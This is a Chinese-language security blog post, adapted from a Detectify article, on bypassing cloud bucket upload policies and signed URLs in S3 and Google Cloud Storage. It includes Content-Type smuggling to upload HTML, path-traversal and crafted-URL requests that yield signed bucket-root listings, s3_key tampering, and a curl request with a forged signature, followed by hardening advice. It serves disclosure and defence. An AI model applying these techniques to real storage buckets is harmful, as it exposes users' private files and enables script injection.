存儲桶上傳策略和簽名 URL的繞過及利用

本文中帶有自己一些拙見,讀者若存在相關(guān)問題或者有其他想法的,歡迎在評論區(qū)交流探討。原文:https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/

存儲桶上傳策略是一種直接從客戶端將數(shù)據(jù)上傳到存儲桶的便捷方式。通過上傳策略中的規(guī)則和與某些文件訪問場景相關(guān)的邏輯,我們?nèi)绾卧綑?quán)訪問到完整的存儲桶對象列表,同時能夠修改或刪除存儲桶中的現(xiàn)有文件。

什么是存儲桶策略?

(如果你已經(jīng)知道什么是桶策略和簽名 URL,你可以直接跳到下面的利用章節(jié))

存儲桶策略旨在將內(nèi)容直接上傳到基于云的存儲桶存儲(如 Google Cloud Storage 或 AWS S3)的安全方式。管理者只需要創(chuàng)建一個定義允許和不允許的策略,然后使用密鑰對策略進行簽名,并將策略和簽名提供給客戶端,接著客戶端可以直接將文件上傳到存儲桶,存儲桶將驗證上傳的內(nèi)容是否符合策略。如果符合,則文件將被上傳。

上傳策略與預(yù)簽名 URL

在開始之前,我們需要明確一點,有多種方法可以訪問存儲桶中的對象。POST 策略 (AWS)和 POST 對象 (Google Cloud Storage) 方法只允許上傳內(nèi)容,使用 POST 請求到存儲桶。

另一種稱為預(yù)簽名 URL (AWS) 或 簽名 URL (Google Cloud Storage) 的方法不僅允許修改對象。根據(jù)預(yù)簽名邏輯定義的 HTTP 方法,我們可以PUT、DELETE或GET對象,這些對象默認為私有。

與 POST 策略版本相比,預(yù)簽名 URL 在定義內(nèi)容類型、訪問控制以及類似上傳文件方面更為寬松。簽名 URL 也更經(jīng)常使用不完善的自定義邏輯來實現(xiàn),如下所示:

還有更多允許某人訪問上傳內(nèi)容的方法,一種 是類似于 POST 策略的AWS STS AssumeRoleWithWebIdentity ,不同之處在于您可以獲取由預(yù)定義的 IAM 角色創(chuàng)建的臨時安全憑證 (ASIA * )。

如何發(fā)現(xiàn)上傳策略或簽名URL?

這是使用 POST 的上傳的請求包截圖:


62a9b2ba09475431292fa80a

由上圖可發(fā)現(xiàn),該策略是一個 base64 編碼的 JSON,如下所示:

{
  "expiration": "2018-07-31T13:55:50Z",
  "conditions": [
    {"bucket": "bucket-name"},
    ["starts-with", "$key", "acc123"],
    {"acl": "public-read"},
    {"success_action_redirect": "https://dashboard.example.com/"},
    ["starts-with", "$Content-Type", ""],
    ["content-length-range", 0, 524288]
  ]
}

AWS S3 上的簽名 URL 如下所示:

https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

和谷歌云存儲類似,如下所示:

https://storage.googleapis.com/uploads/images/test.png?Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&Signature=dlMA---

利用

現(xiàn)在到了有趣的地方啦?。。。?!

我們需要定義一些不同的屬性,來發(fā)現(xiàn)策略中的錯誤,以達到濫用上傳策略的目的。

  • Access=Yes – 如果我們可以在上傳后以某種方式訪問文件。如果在策略ACL 中定義 public-read 或通過能夠接收上傳文件的預(yù)簽名 URL 來定義。默認情況下,在策略中未定義 ACL 的上傳對象是私有的。

  • Inline=Yes – 如果我們能夠修改 content-disposition 文件的,那么我們可以在存儲桶中內(nèi)聯(lián)地提供它。如果在策略中根本沒有定義它,則文件是內(nèi)聯(lián)的。

  1. starts-with $key 為空
["starts-with", "$key", ""]

這樣配置不是很安全。我們現(xiàn)在能夠上傳到存儲桶中的任何位置,并且能夠覆蓋任何對象。您可以將 key-property 設(shè)置為任何內(nèi)容,并且該策略將被接受。

注意:
在某些情況下,這一點的可利用性仍然很困難,例如,存儲桶僅用于上傳名為 UUID(通用唯一標識符)的對象,這些對象從未公開或進一步使用。在這種情況下,我們不知道要覆蓋哪些文件,也無法知道存儲桶中其他對象的名稱。

  1. starts-with $key 不包含路徑分隔符或?qū)λ杏脩羰褂孟嗤穆窂健?/li>
["starts-with", "$key", "acc_1322342m3423"]

如果 $key策略的 -part 包含定義的部分,但沒有路徑分隔符,我們可以將內(nèi)容直接放在存儲桶的根目錄中。如果 Access=Yes 并且 Inline=Yes 取決于 content-type ,我們可以通過安裝 AppCache-manifest 來 竊取 其他用戶上傳的URL 來濫用它。

62a9b51e0947543129345559

如果對象上傳到的路徑對所有用戶都相同,則同樣的問題也適用。

  1. starts-with $Content-Type 為空
["starts-with", "$Content-Type", ""]

如果Access=Yes和Inline=Yes時,我們可以上傳text/html。 如 #2 所示,我們可以使用它來運行 javascript 或在此路徑上安裝 AppCache-manifest,這意味著在此路徑下訪問的所有文件都將泄露給攻擊者。

  1. 內(nèi)容類型定義使用 starts-with $Content-Type.
["starts-with", "$Content-Type", "image/jpeg"]

這實際上與 #3 相同,我們可以增加一些內(nèi)容使得content-type成為一個未知的mime-type,然后加上text/html ,文件將被以text/html的形式存儲,如下所示:

Content-type: image/jpegz;text/html

此外,如果 S3 存儲桶托管在公司的子域上,通過濫用上述策略,我們還可以通過上傳的 HTML 文件在域上運行惡意的javascript代碼。

最有趣的部分是利用在沙盒域上上傳內(nèi)容的網(wǎng)站。

利用自定義邏輯對簽名的URL進行利用

簽名的URL是在服務(wù)器端簽名并提供給客戶端,以允許他們上傳、修改或訪問內(nèi)容。最容易出現(xiàn)問題的情況是當網(wǎng)站建立自定義邏輯來檢索它們。

要首先了解如何濫用簽名 URL,重要的是要知道默認情況下,能夠通過一個簽名的GET-URL到桶的根部,便可顯示桶的文件列表。這就像使用一個公開的可列表的桶被曝光一樣,不同的是,這個桶肯定包含其他用戶的私人數(shù)據(jù)。

請記住,當我們知道存儲桶中的其他文件時,我們也可以為它們請求以獲取到簽名的URL,此時將允許我們訪問相關(guān)私有文件。

所以,我們的目標始終是嘗試進入根目錄或其他我們知道存在的文件。

對自定義邏輯繞過的姿勢

下面是一些示例:發(fā)出簽名的 GET-URL在不經(jīng)意間暴露了存儲桶的根路徑。

  1. 使用get-image-終端節(jié)點對完整的桶進行完全的讀取訪問。
    如下請求:
https://freehand.example.com/api/get-image?key=abc&document=xyz

提供以下簽名URL:

https://prodapp.s3.amazonaws.com/documents/648475/images/abc?X-Amz-Algorithm=AWS4-HMAC-SHA256...

但是,終端節(jié)點在簽署前對URL進行了規(guī)范化處理,故我們可通過使用目錄穿越,探測桶的根目錄。

https://freehand.example.com/api/get-image?key=../../../&document=xyz

和第一個鏈接進行對比,可以推測出與之對應(yīng)的簽名URL如下:

https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

效果:這個 URL 給出了存儲桶中每個文件的列表。

  1. 對簽名 URL 請求進行正則表達式解析,實現(xiàn)全讀訪問

這是另一個示例,向網(wǎng)站上的終端節(jié)點發(fā)出以下請求,以獲取對應(yīng)的簽名URL:

POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1
Host: sectest.example.com

{"url":"https://example-bucket.s3.amazonaws.com/dir/file.png"}

上述請求將會解析URL并將它的一部分提取到簽名的URL中,響應(yīng)包如下:

{ “signedUrl” :“https://s3.amazonaws.com/example-bucket/dir/file.png?X-Amz-Algorithm=AWS4-HMAC...” } 

可以使用s3.amazonaws.com上的子域和路徑訪問S3存儲桶,在這種情況下,可以推測出服務(wù)器端的邏輯是:將URL更改為基于路徑的存儲桶URL的方式。

根據(jù)上述對URL的提取位置的分析,可以對其進行構(gòu)造,如下所示:

{"url":"https://.x./example-bucket"}

此時返回帶簽名的URL如下,該URL將顯示存儲桶的完整文件列表:

{ "signedURL" : "https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC..." }

淺淺解析一下:根據(jù)提取規(guī)律:會提取請求包URL中的http:// 后的一位,此時我們構(gòu)造的URL中為空,進行拼接后,便會出現(xiàn)//example-beta?X-Amz-Algorithm=AWS4-HMAC...的情況啦~

  1. 濫用臨時簽名 URL 鏈接

這個例子來自兩年前,我發(fā)現(xiàn)的第一個與簽名URL相關(guān)的問題。

在網(wǎng)站上,當上傳文件時,你首先在secure.example.com上創(chuàng)建一個隨機密鑰。

POST /api/s3_file/ HTTP/1.1
Host: secure.example.com

{"id":null,"random_key":"abc-123-def-456-ghi-789","s3_key":"/file.jpg","uploader_id":71957,"employee_id":null}

響應(yīng)包如下:

HTTP/1.1 201 CREATED

{"employee_id":null, "s3_key": "/file.jpg", "uploader_id": 71957, "random_key":"abc-123-def-456-ghi-789", "id": null}

對應(yīng)生成的URL為:

https://secure.example.com/files/abc-123-def-456-ghi-789

將會跳轉(zhuǎn)到如下鏈接:

Location: https://example.s3.amazonaws.com/file.jpg?Signature=i0YZ...

測試時,可以嘗試在原請求包上修改s3_key,如下所示:

“random_key” :“xx1234” ,“s3_key” :“/”

此時對應(yīng)生成的URL為:

https://secure.example.com/files/xx1234

同理,將重定向到如下鏈接:

Location: https://example.s3.amazonaws.com/?Signature=i0YZ...

我現(xiàn)在有了他們存儲桶的文件列表。該網(wǎng)站使用一個存儲桶存儲所有數(shù)據(jù),其中包含他們擁有的每個文檔和文件。當我嘗試提取文件列表以顯示公司時,存儲桶非常龐大,數(shù)以百萬計的文件。我直接將錯誤發(fā)送給了公司,他們很快進行了響應(yīng):


62aa929509475431295b9f35

安全存儲相關(guān)建議

應(yīng)該為每個文件上傳請求或至少為每個用戶專門生成一個上傳策略。

  • $key 應(yīng)該完全定義,具有唯一的、隨機生成的名稱并在隨機生成的路徑內(nèi)。
  • content-disposition 最好定義 attachment為。
  • acl 最好是 private 或根本不定義。
  • content-type 應(yīng)該明確設(shè)置(不使用 starts-with)或根本不設(shè)置。

而且,創(chuàng)建簽名 URL 永遠不應(yīng)該基于用戶的參數(shù),正如您在上面看到的那樣,這很大概率存在漏洞。

末尾小彩蛋

我見過的最糟糕的情況是:

https://secure.example.com/api/file_upload_policies/multipart_signature?to_sign=GET%0A%0A%0A%0Ax-amz-date%3AFri%2C%2009%20Mar%202018%2000%3A11%3A28%20GMT%0A%2Fbucket-name%2F&datetime=Fri,%2009%20Mar%202018%2000:11:28%20GMT

當按照要求發(fā)送請求時,響應(yīng)包返回的簽名是可以用于請求一切資源的簽名。

0zfAa9zIBlXH76rTitXXXuhEyJI=

此時便可以為所欲為,用如下方式去獲取你想要請求的一切資源

curl -H "Authorization: AWS AKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date: Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/

本文首發(fā)于火線Zone:https://zone.huoxian.cn/d/1262-url

作者:櫻寧

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容